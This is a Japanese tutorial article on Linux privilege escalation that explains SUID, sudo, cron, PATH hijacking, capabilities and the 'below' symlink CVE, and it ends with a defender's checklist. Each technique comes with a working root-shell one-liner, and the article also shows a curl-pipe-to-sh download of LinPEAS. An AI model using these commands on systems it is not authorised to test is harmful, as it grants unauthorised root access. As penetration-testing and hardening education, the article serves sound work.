要旨
ペネトレーションテストや競技CTFにおいて、「シェルは取れたが、そこから先が進めない」という経験をしたことはないでしょうか。一般ユーザー権限でのシェル取得は、ゴールではなくスタートラインに過ぎません。Linux PrivEsc(Privilege Escalation:権限昇格)とは、低権限のユーザーがシステムの設定ミスや脆弱性を突いてroot権限を獲得する技術体系です。本記事では、PrivEscを「CVEを探して適用するだけ」のものではなく、管理者が無意識に生み出す構造的な隙間を体系的に読み解く思考法として論じます。
記事本文
1. そもそもなぜ権限昇格が起きるのか
Linuxは設計上、最小権限の原則(Principle of Least Privilege)を基盤としています。一般ユーザーはrootが管理するファイルやプロセスに触れられないよう、厳密に分離されています。では、なぜ権限昇格が頻繁に成功するのでしょうか。
答えは技術的な脆弱性よりも、人間が行う設定・運用の中に隙間が生まれるからです。攻撃者はOSのゼロデイを使う必要はほとんどありません。管理者が「便利のために」行ったsudoの設定、「とりあえず動かすため」に付けたSUIDビット、「自動化のため」に書いたcronジョブ——これらの積み重ねが、気づかれないまま特権への経路を作り出しています。
PrivEscを理解することは、攻撃手法を学ぶことと同時に、サーバー管理者がどのような思考の盲点を持つかを理解することでもあります。
2. PrivEscの大分類と攻撃者の思考プロセス
権限昇格の手法は大きく次の2つに分類されます。
- カーネルエクスプロイト(Kernel Exploit):OSカーネル自体のCVEを悪用する。インパクトは最大だが、環境依存が高くシステムをクラッシュさせるリスクもある。
-
ミスコンフィギュレーション悪用(Misconfiguration Abuse):設定ミスや過剰な権限付与を悪用する。安定性が高く、実際のペネトレーションテストで最も頻繁に登場する。
実務では、カーネルエクスプロイトを最後の手段として温存し、まずミスコンフィギュレーションを徹底的に探索するアプローチが鉄則です[1]。
3. 代表的な手法の解説
手法1:SUIDバイナリの悪用
SUID(Set User ID)とは、そのファイルを実行したとき、実行ユーザーではなくファイルの所有者の権限で動作する仕組みです。root所有のSUIDバイナリを一般ユーザーが実行すると、root権限でコマンドが走ります[2]。
# SUID付きバイナリの列挙
find / -perm -u=s -type f 2>/dev/null
ここで列挙されたバイナリをGTFOBins[3]と照合します。GTFOBinsは「本来は正当な用途があるUnixバイナリが、権限昇格に悪用できる場合の具体的な手順」を集積したデータベースです。例えばfindコマンドにSUIDが付いていた場合、以下で即座にrootシェルが得られます。
find . -exec /bin/sh -p \;
管理者の思考の盲点がここにあります。findやpython3、vimは「普通のツール」という認識のため、SUIDを付けることの危険性が直感的に理解されにくいのです。
手法2:sudo のミスコンフィギュレーション
sudoは本来、特定のコマンドのみを昇格実行させるためのツールです。しかし設定を誤ると、権限昇格への直通路になります。
# 自分が実行できるsudoコマンドの確認
sudo -l
出力にNOPASSWDの記載があれば、パスワードなしでそのコマンドをroot権限で実行できます。例えばsudo python3が許可されていれば:
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
これで即rootシェルです。プログラミング言語のインタープリタ、テキストエディタ(vi/vim)、デバッガ(gdb)など、シェルエスケープが可能なバイナリにsudo権限を与えることは原則禁忌です[2]。
また、2025年にはsudoのchroot機能に関する深刻な脆弱性(CVE-2025-32463)が公開されました。sudoersで--chrootオプションの使用が許可されている場合、攻撃者が偽の/etc/nsswitch.confを配置することでroot権限の奪取が可能になります[4]。
# 影響を受けるsudoのバージョン確認
sudo -V | head -1
手法3:Cronジョブの悪用
cronは定期的にスクリプトやコマンドをrootとして実行するスケジューラです。rootが所有するcronジョブが参照するスクリプトに書き込み権限がある場合、任意コードをrootとして実行できます。
# crontabの確認
cat /etc/crontab
ls -la /etc/cron.*
問題はcrontabだけでは見えないタスクです。pspy[5]というツールを使えば、rootなしにリアルタイムでプロセスの起動を監視でき、隠れたcronジョブを発見できます。
./pspy64
# → UID=0 で実行されるプロセスとその引数を観察
発見したスクリプトに書き込み権限があれば:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron_script.sh
# cronが実行されたあと
/tmp/rootbash -p # root権限でシェル取得
2025年に公開された研究によれば、エンタープライズ環境のLinuxサーバーでcronジョブに起因する権限昇格ベクタが多数確認されており、特にworld-writableなディレクトリ内のスクリプトを参照するパターンが危険とされています[6]。
手法4:PATH ハイジャッキング
rootが所有するSUIDバイナリや、cronジョブで実行されるスクリプトがフルパスを指定せずにコマンドを呼び出している場合、$PATH環境変数を操作することで偽のコマンドを先に読み込ませることができます[2]。
例えばroot権限で動くスクリプトがservice apache2 start(フルパスなし)を実行している場合:
# /tmp に偽の "service" コマンドを置く
echo '/bin/bash' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
# スクリプトを再実行 → /tmp/service が呼ばれ rootシェル取得
手法5:Linux Capabilities の見落とし
現代のLinuxではroot全権限と一般ユーザーの二極ではなく、Capabilities(ケーパビリティ)という仕組みで権限を細分化できます。しかしこれはしばしば「見えにくい権限付与」となり、管理者も気づかぬうちに危険な設定をしていることがあります。
# ケーパビリティ付きバイナリの列挙
getcap -r / 2>/dev/null
cap_setuid+epが付いたバイナリ(例:python3)があれば:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
これで即rootです。SUIDBitよりも気づかれにくく、実際のペネトレーションテストでも見落とされやすい手法です[1]。
手法6:最近のCVE事例——CVE-2025-27591(シンリンク攻撃)
2025年3月に公開されたCVE-2025-27591は、FacebookのLinux監視ツール「below」における権限昇格の脆弱性です[7]。
脆弱性の本質は、belowが/var/log/below/ディレクトリを0o777(誰でも書き込み可)で作成することにあります。これにより攻撃者はシンボリックリンク攻撃が可能になります。
# /etc/passwd へのシンリンクを仕掛ける
rm /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
# sudo ./below を実行するとerror_root.logにroot権限でログが書き込まれ
# /etc/passwdが改ざんされrootユーザーを追加できる
Arch Linux、Ubuntu、Gentooで実証されており、v0.9.0未満が対象です。Rustで書かれたツールでも権限・ファイル操作のロジックに油断は禁物という教訓を残しています[7]。
4. 列挙(Enumeration)こそが本質
ここまで紹介した手法に共通する点があります。それは手法の前に、必ず徹底的な列挙が必要ということです。
攻撃者の視点では、シェルを取得した瞬間に行うべき行動は「すぐにrootを取る」ではなく、「今いる環境を全方位から把握する」ことです。LinPEAS[8]はこの列挙を自動化する代表的なツールです。
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
ただし、ツールに頼り切ることには危険があります。LinPEASが出力する膨大な情報を読み解くには、SUID・sudo・cron・capabilitiesといった各概念の理解が前提として必要だからです。「ツールは思考の補助であり、思考の代替ではない」という点は、CTFでも実務でも変わりません[1]。
5. 防御側の視点:管理者が意識すべきチェックリスト
攻撃手法を理解したうえで、防御側として確認すべき項目を整理します。
sudoの設定(/etc/sudoers)
- NOPASSWD は最小限のコマンドのみに限定しているか
- シェルエスケープ可能なバイナリ(python, vim, find等)を許可していないか
- sudoのバージョンは最新か(CVE-2025-32463等への対応)
SUIDビットの管理 -
find / -perm -u=s -type fの結果を定期的にベースラインと比較しているか - 標準外のバイナリにSUIDが付いていないか
Cronジョブのセキュリティ - cronが参照するスクリプトのディレクトリにother-writeが付いていないか
- スクリプト内のコマンドにはすべてフルパスを使用しているか
Capabilitiesの定期確認 -
getcap -r /の結果を定期監査しているか
ログ・監視 - pspy等でリアルタイムプロセス監視を行う仕組みがあるか
- 異常なsudo呼び出しがSIEMやauditdで検知されるか
6. セキュリティエンジニアとして考えるべきこと
以上のように、Linux PrivEscの本質は「難解なゼロデイを使いこなすスキル」ではありません。むしろ、管理者が日々の運用の中で無意識に生み出してしまう権限の隙間を、体系的に発見する観察力と思考力です。
2025年から2026年にかけて、LinuxサーバーにおけるCVEの公開件数は増加を続けており、Linuxディストリビューションに影響するセキュリティ問題は2025年に2,500件以上が報告されています[4]。しかし実際のペネトレーションテストでrootが取れる原因の多くは、依然として「設定ミス」と「権限の過剰付与」です。
技術は正しく使えば人々を守ります。しかし、その技術を扱う人間側の思考に盲点があれば、どれだけ優れたOSであっても守ることはできません。「なぜこの設定では危険なのか」を深く理解することが、セキュリティエンジニアとして攻撃側・防御側の両方で活躍するための本質的な出発点だと考えます。
参考文献
[1] ComputingForGeeks. "Linux Privilege Escalation: Complete Guide for Pentesters." Tested April 2026 on Debian 12.
https://computingforgeeks.com/linux-privilege-escalation-guide-kali/
[2] Payatu Security. "A Guide to Linux Privilege Escalation." August 27, 2024.
https://payatu.com/blog/a-guide-to-linux-privilege-escalation/
[3] GTFOBins. "GTFOBins — Unix binaries that can be used to bypass local security restrictions."
https://gtfobins.github.io/
[4] SOC Prime. "CVE-2025-32463 and CVE-2025-32462 Detection: Sudo Local Privilege Escalation Vulnerabilities." July 9, 2025.
https://socprime.com/blog/cve-2025-32463-and-cve-2025-32462-vulnerabilities/
[5] DominicBreuker. "pspy — unprivileged Linux process snooping."
https://github.com/DominicBreuker/pspy
[6] privlabs. "lpe-cron-misconfig-2025: Research on privilege escalation via cron job misconfigurations in enterprise Linux." December 2025.
https://github.com/privlabs/lpe-cron-misconfig-2025
[7] 0x00sec. "Below Local Privilege Escalation Vulnerability: A light look at CVE-2025-27591." January 21, 2026.
https://0x00sec.org/below-local-privilege-escalation-vulnerability-a-light-look-at-cve-2025-27591/
[8] PEASS-ng. "LinPEAS — Linux Privilege Escalation Awesome Script."
https://github.com/peass-ng/PEASS-ng
[9] HackTricks. "Linux Privilege Escalation."
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
[10] Qualys TRU. "Chained LPE: SUSE 15 PAM to Full Root via libblockdev/udisks (CVE-2025-6018, CVE-2025-6019)." June 18, 2025.
https://blog.qualys.com/vulnerabilities-threat-research/2025/06/17/qualys-tru-uncovers-chained-lpe-suse-15-pam-to-full-root-via-libblockdev-udisks